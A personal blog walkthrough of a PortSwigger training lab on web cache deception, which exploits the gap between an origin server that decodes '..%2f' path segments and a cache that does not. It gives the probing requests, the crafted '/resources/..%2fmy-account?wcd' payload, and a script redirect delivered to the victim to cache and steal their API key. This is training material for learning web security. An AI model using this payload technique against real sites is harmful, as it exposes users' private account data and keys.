Pasindu's Blog

Exploiting origin server normalization for web cache deception

2 min read

PortSwigger

Lab Description

This lab exploits normalization discrepancies between the cache and origin server to access a > user’s sensitive API key.

Objective: Find the API key for the user carlos.

Credentials: wiener:peter

Provided: Delimiter character list.

Step 1: Identify the Target Endpoint

  1. Log in as wiener:peter

  2. Open GET /my-account in Burp Proxy

  3. Notice the response contains your API key

Step 2: Test Path Delimiters

  1. Send GET /my-account/abc → 404 Not Found (no abstraction)
  2. Send GET /my-accountabc → 404 Not Found (reference for Intruder)
  3. Send /my-account§§abc to Intruder with delimiter list:
    • Result: Only ? returns 200 → Origin uses ? as delimiter

Result:

Step 3: Investigate Normalization Discrepancy

Test dot-segment normalization:

GET /aaa/..%2fmy-account HTTP/1.1
  •  200 with your API key → Origin decodes ..%2f and resolves to /my-account

Identify static resource prefix:

  • Static resources are served from /resources prefix
  • Responses show X-Cache headers (cached)

Test cache behavior with dot-segments:

GET /resources/..%2fYOUR-RESOURCE HTTP/1.1
  • X-Cache: miss (first request)
  • X-Cache: hit (second request) → Cache does NOT decode dot-segments

Confirm static directory cache rule:

GET /resources/aaa HTTP/1.1
  • X-Cache: miss → X-Cache: hit → Confirms /resources prefix has a cache rule

Step 4: Craft the Exploit Payload

Construct the malicious URL:

/resources/..%2fmy-account?wcd

Why this works:

  • /resources prefix → Triggers cache rule
  • ..%2f → URL-encoded ../ (origin decodes, cache doesn’t)
  • my-account → Target endpoint
  • ?wcd → Cache buster (ensures fresh entry)

Test:

GET /resources/..%2fmy-account?wcd HTTP/1.1
  • 200 with your API key
  • X-Cache: miss then X-Cache: hit on resend

Step 5: Deliver the Exploit

  1. Go to the Exploit server
  2. In the Body section, paste:
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/resources/..%2fmy-account?wcd"
</script>

  1. Click Deliver exploit to victim
  2. Victim visits the exploit → navigates to the malicious URL
  3. Origin server returns Carlos’s account page (with API key)
  4. Cache stores the response under /resources prefi

Step 6: Retrieve the Cached Response

  1. In your browser, visit:
https://YOUR-LAB-ID.web-security-academy.net/resources/..%2fmy-account?wcd
  1. Copy Carlos’s API key from the response

Step 7: Submit the Solution

  1. Go back to the lab page
  2. Click Submit solution
  3. Paste Carlos’s API key
  4. Click OK

Step 8: Lab Solved

Graph View